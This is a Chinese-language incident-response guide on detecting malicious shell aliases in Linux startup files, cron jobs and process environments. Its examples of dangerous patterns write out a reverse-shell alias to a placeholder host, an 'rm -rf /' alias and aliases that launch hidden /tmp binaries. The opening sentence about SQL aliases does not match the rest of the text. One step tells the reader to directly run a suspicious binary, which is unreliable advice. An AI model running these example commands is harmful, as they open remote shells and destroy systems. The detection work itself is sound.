SQL别名是为表、列或表达式设置的临时名称，用于简化查询、避免歧义和提升可读性；语法支持AS关键字（可省略），分列别名和表别名两类，且作用域受SQL执行顺序限制。
别名（alias）本身不是恶意的，但它常被攻击者用作命令伪装的“隐身衣”——比如把 ls 改成执行下载脚本的函数，或让 ps 过滤掉后门进程。这种替换不修改二进制文件，因此逃过 rpm -V、AIDE 等文件完整性校验，却能长期隐蔽运行。排查重点不在“有没有 alias”，而在于“谁定义了它、在哪定义、是否被篡改”。
一、快速定位所有活跃别名来源
别名可来自多个层级，需逐层检查，不能只看当前 shell 输出：
- 运行 alias 查看当前会话已加载的所有别名（含临时定义）
- 检查用户级配置：cat ~/.bashrc ~/.bash_profile ~/.profile 2>/dev/null
- 检查系统级配置：cat /etc/bashrc /etc/profile /etc/profile.d/*.sh 2>/dev/null
- 特别注意隐藏文件：ls -la ~ | grep "^\." | grep -E "\.bash|\.profile"
- 若使用 zsh：cat ~/.zshrc /etc/zshrc
二、识别高危别名模式
以下特征的别名需立即标记并深入分析：
- 覆盖核心命令：如 alias ls='ls --color=auto' 正常，但 alias ps='/tmp/.x && ps' 异常
- 调用非常规路径：含 /tmp、/dev/shm、/var/tmp 或点开头路径（如 .ssh/.a）
- 嵌套执行或后台任务：含 &、nohup、curl、wget、base64 -d 等网络或解码操作
- 伪装系统进程名：如 alias kthreadd='/usr/bin/kthreadd'（实际指向恶意二进制）
- 无意义重命名：如 alias x='rm -rf /' 或 alias _='/bin/bash -i &>/dev/tcp/xxx/xxx 0>&1'
三、验证别名真实行为与权限上下文
别名只是字符串替换，真正危险的是它展开后执行的内容。需实测验证：
- 用 type -a 命令名 查看该名称最终解析路径（区分 alias/function/binary）
- 用 which 命令名 确认是否被 PATH 劫持干扰（尤其当 alias 未生效时）
- 在干净子 shell 中测试：env -i bash --norc --noprofile -c "alias ls"，排除环境污染
- 对可疑别名，手动展开并检查：如 alias ps 显示 ps='sh -c "/tmp/.p; ps"'，则直接运行 /tmp/.p 并检查其属性（ls -l /tmp/.p; file /tmp/.p; strings /tmp/.p 2>/dev/null | head -10）
四、联动排查防止漏网
单独查 alias 很容易被绕过。必须结合其他线索交叉印证：
- 对比正常基线：从同版本干净镜像中提取 /etc/skel/.bashrc，比对差异
- 检查定时任务：crontab -l 和 cat /etc/cron* 是否写入 alias 定义或调用可疑脚本
- 检查 shell 启动日志：grep -r "alias" /var/log/secure* /var/log/messages* 2>/dev/null，看是否有异常写入记录
- 检查进程环境：cat /proc/$(pgrep -u $USER bash)/environ 2>/dev/null | tr '\0' '\n' | grep -E "(BASH|ALIAS)"，确认当前 bash 是否被注入环境变量式 alias
- 若发现 root 用户存在异常 alias，同步检查 /root/.bash_history 最近执行记录
